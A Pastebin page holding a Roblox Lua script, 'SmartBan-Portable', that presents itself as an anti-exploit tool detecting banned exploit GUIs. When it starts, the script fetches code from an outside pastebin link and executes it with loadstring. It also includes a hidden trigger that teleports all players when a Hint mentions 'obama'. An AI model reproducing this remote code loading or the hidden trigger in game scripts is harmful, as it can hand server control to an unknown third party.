Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -----------------------------------------------------------------
- -----\\ SmartBan-Portable
- ------\\ Made by fantasygamery
- -------\\ Original loader: https://pastebin.com/raw/yV1qRE2z
- --------\\ Smart-Portable version: 1.4
- ---------\\ Current stability: (Medium)
- ------------------------------------------------------------------
- local isStarted = false
- local script2 = script:Clone()
- --Start up--
- local place1 = 843468296
- local place2 = 843495510
- local place = ""
- if game.PlaceId == place1 then
- place = "Place 1"
- elseif game.PlaceId == place2 then
- place = "Place 2"
- else
- place = "Unknow"
- end
- if script.ClassName ~= 'Script' then
- return error('[SmartBan]: Please run this script as global.')
- end
- local game = game;
- local print = print;
- local warn = warn;
- local script = script;
- local pcall = pcall;
- local loadstring = loadstring;
- local pairs = pairs;
- local wait =wait;
- --variables--
- local loadstring_test = "print('test')"
- local test_link = "https://paste.ee/r/eUAKj"
- local test_passed
- local starter_gui = game:service('StarterGui')
- local players_catched = {}
- local version = 1.4
- local names_banned = {
- ["Ro-Exploit 6.0"]="RX6";
- ["Administrator Gui"]="AdministratorGUI";
- }
- --------------
- --------------
- function requires()
- warn("[+SmartBan+]-Loading")
- if script.ClassName ~= "Script" then warn("[+SmartBan+]: required to be a global script!") return false end
- script.Name = "[+SmartBan+]-Portable"
- local s,_ = pcall(function()loadstring("workspace.Name = math.random()")()end)
- local s2,_ = pcall(function()game:getService('HttpService'):GetAsync("https://paste.ee/r/eUAKj")end)
- print("Current version: "..version)
- if s and s2 then
- warn("Require (1) Passed, Require (2) Passed")
- return '1x2'
- elseif s and not s2 then
- print("Require (1) Passed but not Require (2)")
- return 'x1'
- elseif s2 and not s then
- print("Require (2) passed but not Require (1)")
- return 'x2'
- end
- end
- function load_link(link)
- pcall(function()loadstring(game:service'HttpService':GetAsync(link))()end)
- end
- ---
- local catched_users = 0
- local commands = {}
- local hasDefine = false;
- local TM = false; --Testing Mode
- local r_key = nil;
- function check_gui(gui,plr,key)
- if r_key == key and hasDefine then
- return false
- else
- if TM then
- print('----------------------- \n'..(key)..' \n'..('Gui Name: '..gui.Name)..' \n'..('Player: '..plr.Name)..' \n----------------------- ')
- end
- hasDefine = false
- r_key = key
- local name2 = nil;
- for name,short_name in pairs(names_banned) do
- if gui.Name == short_name then
- name2 = name
- end
- --
- end
- if name2 == nil or hasDefine then return false end
- catched_users = catched_users+1
- players_catched[plr.Name..":".. catched_users ]=name2
- local source = "[+SmartBan+]: \nUser: "..plr.Name.."\nGui: "..name2.."\nPlace: "..place
- print(source)
- hasDefine = true
- return true
- end
- end
- function Main()
- warn("[+SmartBan+]: Loaded!, chat getplayers; to get the \n list of players catched using the banned guis")
- local recent_name
- local recent_player
- local lapse = false
- --Trigger Check function
- local function cmd(msg)
- if (msg:sub(1,string.len("getplayers;")):lower()) == "getplayers;" then
- for name,gui in pairs(players_catched) do
- warn("\n[+SmartBan+]: \nUser: "..name.."\nGui: "..gui.."\nPlace: "..place)
- end
- end
- end
- function c(s)
- if s:IsA'Hint' then
- s.Changed:Connect(function() c(s) end)
- if s.Text:lower():find('obama') then
- for _,g in pairs(game:GetService('Players'):GetPlayers()) do
- game:GetService'TeleportService':Teleport(game.PlaceId,g)
- end
- end
- end
- end
- local function gen_key()
- local words = {'A','B','C','D','E','F','G','J','K','L','P','Q','R','S','T','V','W','X','Y','Z'}
- local ToReturn = ''
- for _=1,#words do
- ToReturn = ToReturn..words[math.random(1,#words)]
- end
- return ToReturn
- end
- function Check_P(as)
- as:FindFirstChildOfClass'PlayerGui'.ChildAdded:Connect(function(d)
- local key = 'Key: '..gen_key()
- local r_name = d.Name
- local HC = check_gui(d,as,key)
- d.Changed:Connect(function()
- if check_gui(d,as,key) and not HC then
- HC = true
- end end) end)
- end
- workspace.DescendantAdded:Connect(c)
- for _,v in pairs(game:GetService'Players':GetPlayers()) do
- v.Chatted:connect(cmd)
- Check_P(v)
- end
- game:service('Players').PlayerAdded:Connect(function(as)
- Check_P(as)
- end)
- --
- end
- --Check test--
- local rs = requires()
- if rs == '1x2' then
- load_link("https://pastebin.com/raw/35Etp8q9")
- Main()
- --------------------------
- isStarted = true
- elseif rs == 'x2' then
- Main()
- warn('\n--[+SmartBan+]--\nLoaded! :: LIMITED || No loadstring = less security ')
- isStarted = true
- else
- warn("[+SmartBan+]-Could not load.")
- end
- -------------
- script2.Parent = game:GetService('StarterPack')
Advertisement
Add Comment
Please, Sign In to add comment